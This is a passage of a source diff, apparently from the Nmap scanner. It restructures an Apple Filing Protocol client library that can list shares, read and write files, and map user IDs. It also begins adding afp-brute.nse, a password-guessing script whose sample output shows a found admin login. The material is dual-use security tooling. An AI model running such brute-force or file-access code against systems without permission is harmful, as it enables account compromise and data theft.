volume to query + -- @param did number containing the id of the directory to query + -- @param file_bitmap number bitmask of file information to query + -- @param access_mode number containing bitmask of options from ACCESS_MODE + -- @param path string containing the name of the directory to query + -- @return response object with the following result contents file_bitmap and fork_id + fp_open_fork = function( self, flag, volume_id, did, file_bitmap, access_mode, path ) + + local packet, _ + local data_offset = 0 + local pad = 0 + local response, fork = {}, {} + + print("volume_id" .. volume_id) + + local data = bin.pack( "CC>S>I>S>S", COMMAND.FPOpenFork, flag, volume_id, did, file_bitmap, access_mode ) + + if path.type == PATH_TYPE.LongName then + data = data .. bin.pack( "CCA", path.type, path.len, path.name ) + end + + if path.type == PATH_TYPE.UTF8Name then + local unicode_hint = 0x08000103 + data = data .. bin.pack( "C>I>SA", path.type, unicode_hint, path.len, path.name ) + end + + packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) + self:send_fp_packet( packet ) + response = self:read_fp_packet() + + if response:getErrorCode() ~= ERROR.FPNoErr then + return response + end + + _, fork.file_bitmap, fork.fork_id = bin.unpack(">S>S", response.packet.data) + response:setResult(fork) + return response + end, - if file_bitmap ~= 0 or dir_bitmap ~= DIR_BITMAP.AccessRights then - return false, "Only AccessRights querys are supported (file_bitmap=0, dir_bitmap=DIR_BITMAP.AccessRights)" - end + --- FPCloseFork + -- + -- @param fork number containing the fork to close + -- @return response object + fp_close_fork = function( self, fork ) + local packet + local data_offset = 0 + local pad = 0 + local response = {} + + local data = bin.pack( "CC>S", COMMAND.FPCloseFork, pad, fork ) + + packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) + self:send_fp_packet( packet ) + return self:read_fp_packet( ) + end, - local data = bin.pack("CC>S>I>S>SCCAC", COMMAND.FPGetFileDirParams, pad, volume_id, did, file_bitmap, dir_bitmap, path.type, path.len, path.name, 0) - packet = create_fp_packet( REQUEST.Command, data_offset, data ) - send_fp_packet( socket, packet ) - packet = read_fp_packet( socket ) + --- FPCreateDir + -- + -- @param vol_id number containing the volume id + -- @param dir_id number containing the directory id + -- @param path string containing the name of the directory + -- @return response object + fp_create_dir = function( self, vol_id, dir_id, path ) + local packet + local data_offset, pad = 0, 0 + local response = {} - if packet.header.error_code ~= 0 then - return false, string.format("FPGetFileDirParms error: %d", packet.header.error_code ) - end + local data = bin.pack( "CC>S>ICp", COMMAND.FPCreateDir, pad, vol_id, dir_id, path.type, path.name ) - pos, response.file_bitmap, response.dir_bitmap, response.file_type, pad, response.acls = bin.unpack( ">S>SCC>I", packet.data ) + packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) + self:send_fp_packet( packet ) + return self:read_fp_packet( ) + end, - return true, response -end + --- Sends an FPCloseVol request to the server and handles the response + -- + -- @param volume_id number containing the id of the volume to close + -- @return response object + fp_close_vol = function( self, volume_id ) + local packet + local data_offset, pad = 0, 0 + local response = {} ---- Sends an FPEnumerateExt2 request to the server and handles the response --- --- @param socket already connected to the server --- @param volume_id number containing the id of the volume to query --- @param did number containing the id of the directory to query --- @param file_bitmap number bitmask of file information to query --- @param dir_bitmap number bitmask of directory information to query --- @param req_count number --- @param start_index number --- @param reply_size number --- @param path string containing the name of the directory to query --- @return status (true or false) --- @return table containing file_bitmap, dir_bitmap, --- req_count fields --- (if status is true) or error string (if status is false) -function fp_enumerate_ext2( socket, volume_id, did, file_bitmap, dir_bitmap, req_count, start_index, reply_size, path ) + local data = bin.pack( "CC>S", COMMAND.FPCloseVol, pad, volume_id ) + + packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) + self:send_fp_packet( packet ) + return self:read_fp_packet( ) + end, + + --- FPReadExt + -- + -- @param fork number containing the open fork + -- @param offset number containing the offset from where writing should start. Negative value indicates offset from the end of the fork + -- @param count number containing the number of bytes to be written + -- @return response object + fp_read_ext = function( self, fork, offset, count ) + local pad = 0 + local packet, response + local data_offset = 0 + local block_size = 1024 + local data = bin.pack( "CC>S>L>L", COMMAND.FPReadExt, pad, fork, offset, count ) + + packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) + self:send_fp_packet( packet ) + response = self:read_fp_packet( ) + + if ( response:getErrorCode() == ERROR.FPEOFErr and response.packet.header.length > 0 ) then + response:setErrorCode( ERROR.FPNoErr ) + end + + response:setResult( response.packet.data ) + return response + end, + + --- FPWriteExt + -- + -- @param flag number indicates whether Offset is relative to the beginning or end of the fork. + -- @param fork number containing the open fork + -- @param offset number containing the offset from where writing should start. Negative value indicates offset from the end of the fork + -- @param count number containing the number of bytes to be written + -- @param fdata string containing the data to be written + -- @return response object + fp_write_ext = function( self, flag, fork, offset, count, fdata ) + local packet + local data_offset = 20 + local data + + if count > fdata:len() then + local err = Response:new() + err:setErrorMessage("fp_write_ext: Count is greater than the amount of data") + return err + end + if count < 0 then + local err = Response:new() + err:setErrorMessage("fp_write_ext: Count must exceed zero") + return err + end + + data = bin.pack( "CC>S>L>LA", COMMAND.FPWriteExt, flag, fork, offset, count, fdata ) + packet = self:create_fp_packet( REQUEST.Write, data_offset, data ) + self:send_fp_packet( packet ) + return self:read_fp_packet( ) + end, - local _ - local packet - local data_offset = 0 - local pad = 0 - local response = {} + --- FPCreateFile + -- + -- @param flag number where 0 indicates a soft create and 1 indicates a hard create. + -- @param vol_id number containing the volume id + -- @param did number containing the ancestor directory id + -- @param path string containing the path, including the volume, path and file name + -- @return response object + fp_create_file = function(self, flag, vol_id, did, path ) + local packet + local data_offset = 0 + local data = bin.pack( "CC>S>ICCA" , COMMAND.FPCreateFile, flag, vol_id, did, path.type, path.len, path.name ) + + packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) + self:send_fp_packet( packet ) + return self:read_fp_packet() + end, + + --- FPMapId + -- + -- @param subfunc number containing the subfunction to call + -- @param id number containing th id to translate + -- @return response object with the id in the result field + fp_map_id = function( self, subfunc, id ) + local packet, response + local data_offset = 0 + local data = bin.pack( "CC", COMMAND.FPMapId, subfunc ) + local _, len + + if ( subfunc == MAP_ID.UserUUIDToUTF8Name or subfunc == MAP_ID.GroupUUIDToUTF8Name ) then + data = data .. bin.pack(">L", id) + else + data = data .. bin.pack(">I", id) + end + + packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) + self:send_fp_packet( packet ) + response = self:read_fp_packet( ) + + if response:getErrorCode() ~= ERROR.FPNoErr then + return response + end + + -- Netatalk returns the name with 1-byte length prefix, + -- Mac OS has a 2-byte (UTF-8) length prefix + local _, len = bin.unpack("C", response.packet.data) + + -- if length is zero assume 2-byte length (UTF-8 name) + if len == 0 then + response:setResult( select(2, bin.unpack(">P", response.packet.data )) ) + else + response:setResult( select(2, bin.unpack("p", response.packet.data )) ) + end + return response + end, - local data = bin.pack( "CC>S>I>S>S", COMMAND.FPEnumerateExt2, pad, volume_id, did, file_bitmap, dir_bitmap ) - data = data .. bin.pack( ">S>I>IC>SA", req_count, start_index, reply_size, path.type, path.len, path.name ) - packet = create_fp_packet( REQUEST.Command, data_offset, data ) + --- FPMapName + -- + -- @param subfunc number containing the subfunction to call + -- @param name string containing name to map + -- @return response object with the mapped name in the result field + fp_map_name = function( self, subfunc, name ) + local packet + local data_offset = 0 + local data = bin.pack( "CC>SA", COMMAND.FPMapName, subfunc, name:len(), name ) + local response - send_fp_packet( socket, packet ) - packet = read_fp_packet( socket ) + packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) + self:send_fp_packet( packet ) + response = self:read_fp_packet( ) + + if response:getErrorCode() ~= ERROR.FPNoErr then + return response + end + + response:setResult( select(2, bin.unpack(">I", response.packet.data))) + return response + end, +} - if packet.header.error_code ~= 0 then - return false, string.format("FPEnumerateExt2 error: %d", packet.header.error_code ) - end +--- The helper class wraps the protocol class and their functions. It contains +-- high-level functions with descriptive names, facilitating the use and +-- minimizing the need to fully understand the AFP low-level protocol details. +Helper = { + + --- Creates a new helper object + new = function(self,o) + o = o or {} + setmetatable(o, self) + self.__index = self + return o + end, + + --- Connects to the remote server and establishes a new AFP session + -- + -- @param host table as recieved by the action function of the script + -- @param port table as recieved by the action function of the script + -- @return status boolean + -- @return string containing error message (if status is false) + OpenSession = function( self, host, port ) + local status, response - _, response.file_bitmap, response.dir_bitmap, response.req_count = bin.unpack(">S>S>S", packet.data) + self.socket = nmap.new_socket() + self.socket:set_timeout( 5000 ) + status = self.socket:connect(host.ip, port.number, port.protocol) + if not status then + return false, "Socket connection failed" + end + + self.proto = afp.Proto:new( { socket=self.socket} ) + response = self.proto:dsi_open_session(self.socket) + + if response:getErrorCode() ~= ERROR.FPNoErr then + self.socket:close() + return false, response:getErrorMessage() + end + + return true + end, - return true, response + --- Closes the AFP session and then the socket + -- + -- @return status boolean + -- @return string containing error message (if status is false) + CloseSession = function( self ) + local status, packet = self.proto:dsi_close_session( ) + self.socket:close() + + return status, packet + end, -end + --- Terminates the connection, withou closing the AFP session + -- + -- @return status (always true) + -- @return string (always "") + Terminate = function( self ) + self.socket:close() + return true,"" + end, ---- Sends an FPOpenFork request to the server and handles the response --- --- @param socket already connected to the server --- @param fork number --- @param volume_id number containing the id of the volume to query --- @param did number containing the id of the directory to query --- @param file_bitmap number bitmask of file information to query --- @param access_mode number containing bitmask of options from ACCESS_MODE --- @param path string containing the name of the directory to query --- @return status (true or false) --- @return table containing file_bitmap and fork fields (if status is true) or --- error string (if status is false) -function fp_open_fork( socket, fork, volume_id, did, file_bitmap, access_mode, path ) - - local _ - local packet - local data_offset = 0 - local pad = 0 - local response = {} + --- Logs in to an AFP service + -- + -- @param username string containing the username + -- @param password string containing the user password + -- @param options table containing additional options uam + Login = function( self, username, password, options ) + local uam = ( options and options.UAM ) and options.UAM or "DHCAST128" + local response + + if ( username and uam == "DHCAST128" ) then + response = self.proto:fp_login( "AFP3.1", "DHCAST128", username, password ) + elseif( username ) then + return false, ("Unsupported UAM: %s"):format(uam) + else + response = self.proto:fp_login( "AFP3.1", "No User Authent" ) + end + + if response:getErrorCode() ~= ERROR.FPNoErr then + return false, response:getErrorMessage() + end + + return true, "Success" + end, + + --- Logs out from the AFP service + Logout = function(self) + return self.proto:fp_logout() + end, - local data = bin.pack( "CC>S>I>S>S", COMMAND.FPOpenFork, fork, volume_id, did, file_bitmap, access_mode ) + --- Walks the directory tree specified by str_path and returns the node information + -- + -- @param str_path string containing the directory + -- @return status boolean true on success, otherwise false + -- @return item table containing node information DirectoryId and DirectoryName + WalkDirTree = function( self, str_path ) + local status, response, path + local elements = stdnse.strsplit( "/", str_path ) + local f_bm = afp.FILE_BITMAP.NodeId + afp.FILE_BITMAP.ParentDirId + afp.FILE_BITMAP.LongName + local d_bm = afp.DIR_BITMAP.NodeId + afp.DIR_BITMAP.ParentDirId + afp.DIR_BITMAP.LongName + local item = { DirectoryId = 2 } + + response = self.proto:fp_open_vol( afp.VOL_BITMAP.ID, elements[1] ) + if response:getErrorCode() ~= ERROR.FPNoErr then + return false, response:getErrorMessage() + end + + item.VolumeId = response.result.volume_id + item.DirectoryName = str_path + + for i=2, #elements do + path = { ['type']=afp.PATH_TYPE.LongName, name=elements[i], len=elements[i]:len() } + response = self.proto:fp_get_file_dir_parms( item.VolumeId, item.DirectoryId, f_bm, d_bm, path ) + if response:getErrorCode() ~= ERROR.FPNoErr then + return false, response:getErrorMessage() + end + item.DirectoryId = response.result.dir.NodeId + item.DirectoryName = response.result.dir.LongName + end + + return true, item + end, - if path.type == PATH_TYPE.LongNames then - data = data .. bin.pack( "C>SA", path.type, path.len, path.name ) - end + --- Reads a file on the AFP server + -- + -- @param str_patch string containing the AFP sharepoint, path and filename eg. HR/Documents/File.doc + -- @return status boolean true on success, false on failure + -- @return content string containing the file contents + ReadFile = function( self, str_path ) + local status, response, fork, content, vol_name + local offset, count, did = 0, 1024, 2 + local status, path, vol_id + local p = Util.SplitPath( str_path ) + + status, response = self:WalkDirTree( p.dir ) + if ( not status ) then + return false, response + end + + vol_id = response.VolumeId + did = response.DirectoryId + + path = { ['type']=afp.PATH_TYPE.LongName, name=p.file, len=p.file:len() } + + response = self.proto:fp_open_fork(0, vol_id, did, 0, afp.ACCESS_MODE.Read, path ) + if response:getErrorCode() ~= ERROR.FPNoErr then + return false, response:getErrorMessage() + end + + fork = response.result.fork_id + content = "" + + while true do + response = self.proto:fp_read_ext( fork, offset, count ) + if response:getErrorCode() ~= ERROR.FPNoErr then + break + end + content = content .. response.result + offset = offset + count + end + + response = self.proto:fp_close_fork( fork ) + if response:getErrorCode() ~= ERROR.FPNoErr then + return false, response:getErrorMessage() + end + + return true, content + end, - if path.type == PATH_TYPE.UnicodeNames then - local unicode_hint = 0x08000103 - data = data .. bin.pack( "C>I>SA", path.type, unicode_hint, path.len, path.name ) - end + --- Writes a file to the AFP server + -- + -- @param str_patch string containing the AFP sharepoint, path and filename eg. HR/Documents/File.doc + -- @param fdata string containing the data to write to the file + -- @return status boolean true on success, false on failure + -- @return error string containing error message if status is false + WriteFile = function( self, str_path, fdata ) + local status, response, fork, content + local offset, count = 1, 1024 + local status, vol_id, did, path + local p = Util.SplitPath( str_path ) - packet = create_fp_packet( REQUEST.Command, data_offset, data ) - send_fp_packet( socket, packet ) - packet = read_fp_packet( socket ) + status, response = self:WalkDirTree( p.dir ) + vol_id = response.VolumeId + did = response.DirectoryId + + if ( not status ) then + return false, response + end - if packet.header.error_code ~= 0 then - return false, string.format("FPOpenFork error: %d", packet.header.error_code ) - end + path = { ['type']=afp.PATH_TYPE.LongName, name=p.file, len=p.file:len() } + + status, response = self.proto:fp_create_file( 0, vol_id, did, path ) + if not status then + if ( response.header.error_code ~= ERROR.FPObjectExists ) then + return false, response.header.error_msg + end + end + + response = self.proto:fp_open_fork( 0, vol_id, did, 0, afp.ACCESS_MODE.Write, path ) + if response:getErrorCode() ~= ERROR.FPNoErr then + return false, response:getErrorMessage() + end + + fork = response.result.fork_id + + response = self.proto:fp_write_ext( 0, fork, 0, fdata:len(), fdata ) + + return true, nil + end, - _, response.file_bitmap, response.fork = bin.unpack(">S>S", packet.data) - - return true, response + --- Maps a user id (uid) to a user name + -- + -- @param uid number containing the uid to resolve + -- @return status boolean true on success, false on failure + -- @return username string on success + -- error string on failure + UIDToName = function( self, uid ) + local response = self.proto:fp_map_id( MAP_ID.UserIDToName, uid ) + if response:getErrorCode() ~= ERROR.FPNoErr then + return false, response:getErrorMessage() + end + return true, response.result + end, -end - ---- Sends an FPCloseVol request to the server and handles the response --- --- @param socket already connected to the server --- @param volume_id number containing the id of the volume to close --- @return status (true or false) --- @return nil (if status is true) or error string (if status is false) -function fp_close_vol( socket, volume_id ) - - local packet - local data_offset = 0 - local pad = 0 - local response = {} + --- Maps a group id (gid) to group name + -- + -- @param gid number containing the gid to lookup + -- @return status boolean true on success, false on failure + -- @return groupname string on success + -- error string on failure + GIDToName = function( self, gid ) + local response = self.proto:fp_map_id( MAP_ID.GroupIDToName, gid ) + if response:getErrorCode() ~= ERROR.FPNoErr then + return false, response:getErrorMessage() + end + return true, response.result + end, - local data = bin.pack( "CC>S>", COMMAND.FPCloseVol, pad, volume_id ) + --- Maps a username to a UID + -- + -- @param name string containing the username to map to an UID + -- @return status boolean true on success, false on failure + -- @return UID number on success + -- error string on failure + NameToUID = function( self, name ) + local response = self.proto:fp_map_name( MAP_NAME.NameToUserID, name ) + if response:getErrorCode() ~= ERROR.FPNoErr then + return false, response:getErrorMessage() + end + return true, response.result + end, - packet = create_fp_packet( REQUEST.Command, data_offset, data ) - send_fp_packet( socket, packet ) - packet = read_fp_packet( socket ) + --- List the contents of a directory + -- + -- @param str_path string containing the sharepoint and directory names + -- @param options table options containing zero or more of the options + -- max_depth and dironly + -- @param depth number containing the current depth (used when called recursively) + -- @param parent table containing information about the parent object (used when called recursively) + -- @return status boolean true on success, false on failure + -- @return dir table containing a table for each directory item with the following type, + -- name and id + Dir = function( self, str_path, options, depth, parent ) + local status, result + local depth = depth or 1 + local options = options or { max_depth = 1 } + local response, records + local f_bm = afp.FILE_BITMAP.NodeId + afp.FILE_BITMAP.ParentDirId + afp.FILE_BITMAP.LongName + local d_bm = afp.DIR_BITMAP.NodeId + afp.DIR_BITMAP.ParentDirId + afp.DIR_BITMAP.LongName + local path = { ['type']=afp.PATH_TYPE.LongName, name="", len=0 } + + local TYPE_DIR = 0x80 + + if ( parent == nil ) then + status, response = self:WalkDirTree( str_path ) + if ( not status ) then + return false, response + end + + parent = {} + parent.vol_id = response.VolumeId + parent.did = response.DirectoryId + parent.dir_name = response.DirectoryName or "" + parent.out_tbl = {} + end + + if ( options and options.max_depth and options.max_depth > 0 and options.max_depth < depth ) then + return false, "Max Depth Reached" + end + + response = self.proto:fp_enumerate_ext2( parent.vol_id, parent.did, f_bm, d_bm, 1000, 1, 52800, path) - if packet.header.error_code ~= 0 then - return false, string.format("FPCloseVol error: %d", packet.header.error_code ) - end + if response:getErrorCode() ~= ERROR.FPNoErr then + return false, response:getErrorMessage() + end - return true, nil + records = response.result or {} + local dir_item = {} -end + for _, record in ipairs( records ) do + if ( options and options.dironly ) then + if ( record.type == TYPE_DIR ) then + table.insert( dir_item, { ['type'] = record.type, ['name'] = record.LongName, ['id'] = record.NodeId } ) + end + else + table.insert( dir_item, { ['type'] = record.type, ['name'] = record.LongName, ['id'] = record.NodeId } ) + end + if ( record.type == TYPE_DIR ) then + self:Dir("", options, depth + 1, { vol_id = parent.vol_id, did=record.NodeId, dir_name=record.LongName, out_tbl=dir_item} ) + end + end ---- Sends the raw packet over the socket --- --- @param socket already connected to the server --- @param packet containing the raw data -function send_fp_packet( socket, packet ) - - local catch = function() - socket:close() - end - - local try = nmap.new_try(catch) - try( socket:send(packet) ) - -end - - -function fp_read_ext( fork, offset, count ) - - local packet - local data_offset = 0 - local pad = 0 + table.insert( parent.out_tbl, dir_item ) + + return true, parent.out_tbl + end, - local data = bin.pack( "CC>S>L>L", COMMAND.FPReadExt, pad, fork, offset, count ) - packet = create_fp_packet( REQUEST.Command, data_offset, data ) - - return packet + --- Displays a directory tree + -- + -- @param str_path string containing the sharepoint and the directory + -- @param options table options containing zero or more of the options + -- max_depth and dironly + -- @return dirtree table containing the directories + DirTree = function( self, str_path, options ) + local options = options or {} + options.dironly = true + return self:Dir( str_path, options ) + end, -end + --- List the AFP sharepoints + -- + -- @return volumes table containing the sharepoints + ListShares = function( self ) + local response + response = self.proto:fp_get_srvr_parms( ) + + if response:getErrorCode() ~= ERROR.FPNoErr then + return false, response:getErrorMessage() + end + + return true, response.result.volumes + end, + + --- Determine the sharepoint permissions + -- + -- @param vol_name string containing the name of the volume + -- @return status boolean true on success, false on failure + -- @return acls table containing the volume acls as returned by acls_to_long_string + GetSharePermissions = function( self, vol_name ) + local status, response, vol_id, acls + + response = self.proto:fp_open_vol( afp.VOL_BITMAP.ID, vol_name ) + + if response:getErrorCode() == ERROR.FPNoErr then + local vol_id + local path = {} + + vol_id = response.result.volume_id + path.type = afp.PATH_TYPE.LongName + path.name = "" + path.len = path.name:len() + + response = self.proto:fp_get_file_dir_parms( vol_id, 2, FILE_BITMAP.ALL, DIR_BITMAP.ALL, path ) + if response:getErrorCode() == ERROR.FPNoErr then + if ( response.result.dir and response.result.dir.AccessRights ) then + acls = Util.acls_to_long_string(response.result.dir.AccessRights) + acls.name = nil + end + end + self.proto:fp_close_vol( vol_id ) + end + + return true, acls + end, + + --- Creates a new directory on the AFP sharepoint + -- + -- @param str_path containing the sharepoint and the directory + -- @return status boolean true on success, false on failure + -- @return dirId number containing the new directory id + CreateDir = function( self, str_path ) + local status, response, vol_id, did + local p = Util.SplitPath( str_path ) + local path = { ['type']=afp.PATH_TYPE.LongName, name=p.file, len=p.file:len() } + + + status, response = self:WalkDirTree( p.dir ) + if not status then + return false, response + end + + response = self.proto:fp_create_dir( response.VolumeId, response.DirectoryId, path ) + if response:getErrorCode() ~= ERROR.FPNoErr then + return false, response:getErrorMessage() + end + + return true, response + end, + +} + +--- Util class, containing some static functions used by Helper and Proto +Util = +{ + --- Pads a string with zeroes + -- + -- @param str string containing the string to be padded + -- @param len number containing the length of the new string + -- @return str string containing the new string + ZeroPad = function( str, len ) + if len < str:len() then + return + end + + for i=1, len - str:len() do + str = str .. string.char(0) + end + + return str + end, + + --- Splits a path into two pieces, directory and file + -- + -- @param str_path string containing the path to split + -- @return dir table containing dir and file + SplitPath = function( str_path ) + local elements = stdnse.strsplit("/", str_path) + local dir, file = "", "" + + if #elements < 2 then + return nil + end + + file = elements[#elements] + + table.remove( elements, #elements ) + dir = stdnse.strjoin( "/", elements ) + + return { ['dir']=dir, ['file']=file } + + end, + + --- Converts a group bitmask of Search, Read and Write to table + -- + -- @param acls number containing bitmasked acls + -- @return table of ACLs + acl_group_to_long_string = function(acls) + + local acl_table = {} + + if bit.band( acls, afp.ACLS.OwnerSearch ) == afp.ACLS.OwnerSearch then + table.insert( acl_table, "Search") + end + + if bit.band( acls, afp.ACLS.OwnerRead ) == afp.ACLS.OwnerRead then + table.insert( acl_table, "Read") + end + + if bit.band( acls, afp.ACLS.OwnerWrite ) == afp.ACLS.OwnerWrite then + table.insert( acl_table, "Write") + end + + return acl_table + end, + + + --- Converts a numeric acl to string + -- + -- @param acls number containig acls as recieved from fp_get_file_dir_parms + -- @return table of long ACLs + acls_to_long_string = function( acls ) + + local owner = Util.acl_group_to_long_string( bit.band( acls, 255 ) ) + local group = Util.acl_group_to_long_string( bit.band( bit.rshift(acls, 8), 255 ) ) + local everyone = Util.acl_group_to_long_string( bit.band( bit.rshift(acls, 16), 255 ) ) + local user = Util.acl_group_to_long_string( bit.band( bit.rshift(acls, 24), 255 ) ) + + local blank = bit.band( acls, afp.ACLS.BlankAccess ) == afp.ACLS.BlankAccess and "Blank" or nil + local isowner = bit.band( acls, afp.ACLS.UserIsOwner ) == afp.ACLS.UserIsOwner and "IsOwner" or nil + + local options = {} + + if blank then + table.insert(options, "Blank") + end + + if isowner then + table.insert(options, "IsOwner") + end + + local acls_tbl = {} + + table.insert( acls_tbl, string.format( "Owner: %s", stdnse.strjoin(",", owner) ) ) + table.insert( acls_tbl, string.format( "Group: %s", stdnse.strjoin(",", group) ) ) + table.insert( acls_tbl, string.format( "Everyone: %s", stdnse.strjoin(",", everyone) ) ) + table.insert( acls_tbl, string.format( "User: %s", stdnse.strjoin(",", user) ) ) + + if #options > 0 then + table.insert( acls_tbl, string.format( "Options: %s", stdnse.strjoin(",", options ) ) ) + end + + return acls_tbl + + end, + + --- Decodes a file bitmap + -- + -- @param bitmap number containing the bitmap + -- @param data string containing the data to be decoded + -- @param pos number containing the offset into data + -- @return pos number containing the new offset after decoding + -- @return file table containing the decoded values + decode_file_bitmap = function( bitmap, data, pos ) + local file = {} + + if ( bit.band( bitmap, FILE_BITMAP.Attributes ) == FILE_BITMAP.Attributes ) then + pos, file.Attributes = bin.unpack(">S", data, pos ) + end + if ( bit.band( bitmap, FILE_BITMAP.ParentDirId ) == FILE_BITMAP.ParentDirId ) then + pos, file.ParentDirId = bin.unpack(">I", data, pos ) + end + if ( bit.band( bitmap, FILE_BITMAP.CreationDate ) == FILE_BITMAP.CreationDate ) then + pos, file.CreationDate = bin.unpack(">I", data, pos ) + end + if ( bit.band( bitmap, FILE_BITMAP.ModificationDate ) == FILE_BITMAP.ModificationDate ) then + pos, file.ModificationDate = bin.unpack(">I", data, pos ) + end + if ( bit.band( bitmap, FILE_BITMAP.BackupDate ) == FILE_BITMAP.BackupDate ) then + pos, file.BackupDate = bin.unpack(">I", data, pos ) + end + if ( bit.band( bitmap, FILE_BITMAP.FinderInfo ) == FILE_BITMAP.FinderInfo ) then + pos, file.FinderInfo = bin.unpack("A32", data, pos ) + end + if ( bit.band( bitmap, FILE_BITMAP.LongName ) == FILE_BITMAP.LongName ) then + local offset, p, name + pos, offset = bin.unpack(">S", data, pos) + p, file.LongName = bin.unpack("p", data, offset + pos - 1) + end + if ( bit.band( bitmap, FILE_BITMAP.ShortName ) == FILE_BITMAP.ShortName ) then + local offset, p, name + pos, offset = bin.unpack(">S", data, pos) + p, file.ShortName = bin.unpack("p", data, offset + pos - 1) + end + if ( bit.band( bitmap, FILE_BITMAP.NodeId ) == FILE_BITMAP.NodeId ) then + pos, file.NodeId = bin.unpack(">I", data, pos ) + end + if ( bit.band( bitmap, FILE_BITMAP.DataForkSize ) == FILE_BITMAP.DataForkSize ) then + pos, file.DataForkSize = bin.unpack(">I", data, pos ) + end + if ( bit.band( bitmap, FILE_BITMAP.ResourceForkSize ) == FILE_BITMAP.ResourceForkSize ) then + pos, file.ResourceForkSize = bin.unpack(">I", data, pos ) + end + if ( bit.band( bitmap, FILE_BITMAP.ExtendedDataForkSize ) == FILE_BITMAP.ExtendedDataForkSize ) then + pos, file.ExtendedDataForkSize = bin.unpack(">L", data, pos ) + end + if ( bit.band( bitmap, FILE_BITMAP.LaunchLimit ) == FILE_BITMAP.LaunchLimit ) then + -- should not be set as it's deprecated according to: + -- http://developer.apple.com/mac/library/documentation/Networking/Reference/AFP_Reference/Reference/reference.html#//apple_ref/doc/c_ref/kFPLaunchLimitBit + end + if ( bit.band( bitmap, FILE_BITMAP.UTF8Name ) == FILE_BITMAP.UTF8Name ) then + local offset, p, name + pos, offset = bin.unpack(">S", data, pos) + p, file.UTF8Name = bin.unpack("p", data, offset + pos - 1) + end + if ( bit.band( bitmap, FILE_BITMAP.ExtendedResourceForkSize ) == FILE_BITMAP.ExtendedResourceForkSize ) then + pos, file.ExtendedResourceForkSize = bin.unpack(">L", data, pos ) + end + if ( bit.band( bitmap, FILE_BITMAP.UnixPrivileges ) == FILE_BITMAP.UnixPrivileges ) then + local unixprivs = {} + pos, unixprivs.uid, unixprivs.gid, + unixprivs.permissions, unixprivs.ua_permissions = bin.unpack(">I>I>I>I", data, pos ) + file.UnixPrivileges = unixprivs + end + return pos, file + end, + + --- Decodes a directory bitmap + -- + -- @param bitmap number containing the bitmap + -- @param data string containing the data to be decoded + -- @param pos number containing the offset into data + -- @return pos number containing the new offset after decoding + -- @return dir table containing the decoded values + decode_dir_bitmap = function( bitmap, data, pos ) + local dir = {} + + if ( bit.band( bitmap, DIR_BITMAP.Attributes ) == DIR_BITMAP.Attributes ) then + pos, dir.Attributes = bin.unpack(">S", data, pos ) + end + if ( bit.band( bitmap, DIR_BITMAP.ParentDirId ) == DIR_BITMAP.ParentDirId ) then + pos, dir.ParentDirId = bin.unpack(">I", data, pos ) + end + if ( bit.band( bitmap, DIR_BITMAP.CreationDate ) == DIR_BITMAP.CreationDate ) then + pos, dir.CreationDate = bin.unpack(">I", data, pos ) + end + if ( bit.band( bitmap, DIR_BITMAP.ModificationDate ) == DIR_BITMAP.ModificationDate ) then + pos, dir.ModificationDate = bin.unpack(">I", data, pos ) + end + if ( bit.band( bitmap, DIR_BITMAP.BackupDate ) == DIR_BITMAP.BackupDate ) then + pos, dir.BackupDate = bin.unpack(">I", data, pos ) + end + if ( bit.band( bitmap, DIR_BITMAP.FinderInfo ) == DIR_BITMAP.FinderInfo ) then + pos, dir.FinderInfo = bin.unpack("A32", data, pos ) + end + if ( bit.band( bitmap, DIR_BITMAP.LongName ) == DIR_BITMAP.LongName ) then + local offset, p, name + pos, offset = bin.unpack(">S", data, pos) + + -- TODO: This really needs to be adressed someway + -- Barely, never, ever happens, which makes it difficult to pin down + -- http://developer.apple.com/mac/library/documentation/Networking/Reference/ + -- AFP_Reference/Reference/reference.html#//apple_ref/doc/uid/TP40003548-CH3-CHDBEHBG [URL is wrapped] + local justkidding = select(2, bin.unpack(">I", data, pos + 4)) + if ( justkidding ~= 0 ) then + offset = 5 + end + + p, dir.LongName = bin.unpack("p", data, offset + pos - 1) + end + if ( bit.band( bitmap, DIR_BITMAP.ShortName ) == DIR_BITMAP.ShortName ) then + local offset, p, name + pos, offset = bin.unpack(">S", data, pos) + p, dir.ShortName = bin.unpack("p", data, offset + pos - 1) + end + if ( bit.band( bitmap, DIR_BITMAP.NodeId ) == DIR_BITMAP.NodeId ) then + pos, dir.NodeId = bin.unpack(">I", data, pos ) + end + if ( bit.band( bitmap, DIR_BITMAP.OffspringCount ) == DIR_BITMAP.OffspringCount ) then + pos, dir.OffspringCount = bin.unpack(">S", data, pos ) + end + if ( bit.band( bitmap, DIR_BITMAP.OwnerId ) == DIR_BITMAP.OwnerId ) then + pos, dir.OwnerId = bin.unpack(">I", data, pos ) + end + if ( bit.band( bitmap, DIR_BITMAP.GroupId ) == DIR_BITMAP.GroupId ) then + pos, dir.GroupId = bin.unpack(">I", data, pos ) + end + if ( bit.band( bitmap, DIR_BITMAP.AccessRights ) == DIR_BITMAP.AccessRights ) then + pos, dir.AccessRights = bin.unpack(">I", data, pos ) + end + if ( bit.band( bitmap, DIR_BITMAP.UTF8Name ) == DIR_BITMAP.UTF8Name ) then + local offset, p, name + pos, offset = bin.unpack(">S", data, pos) + p, dir.UTF8Name = bin.unpack("p", data, offset + pos - 1) + end + if ( bit.band( bitmap, DIR_BITMAP.UnixPrivileges ) == DIR_BITMAP.UnixPrivileges ) then + local unixprivs = {} + + pos, unixprivs.uid, unixprivs.gid, + unixprivs.permissions, unixprivs.ua_permissions = bin.unpack(">I>I>I>I", data, pos ) + dir.UnixPrivileges = unixprivs + end + return pos, dir + end, + +} + + + diff --git a/scripts/afp-brute.nse b/scripts/afp-brute.nse new file mode 100644 index 000000000..c69480e06 --- /dev/null +++ b/scripts/afp-brute.nse @@ -0,0 +1,112 @@ +description = [[ +Performs password guessing against Apple Filing Protocol (AFP) +]] + +--- +-- @usage +-- nmap -p 548 --script afp-brute +-- +-- @output +-- PORT STATE SERVICE +-- 548/tcp open afp +-- | afp-brute: +-- |_ admin:KenSentMe => Login Correct +-- +-- +-- Information on AFP implementations +-- +-- Snow Leopard +-- ------------ +-- - Delay 10 seconds for accounts with more than 5 incorrect login attempts (good) +-- - Instant response if password is successfull +-- +-- Netatalk 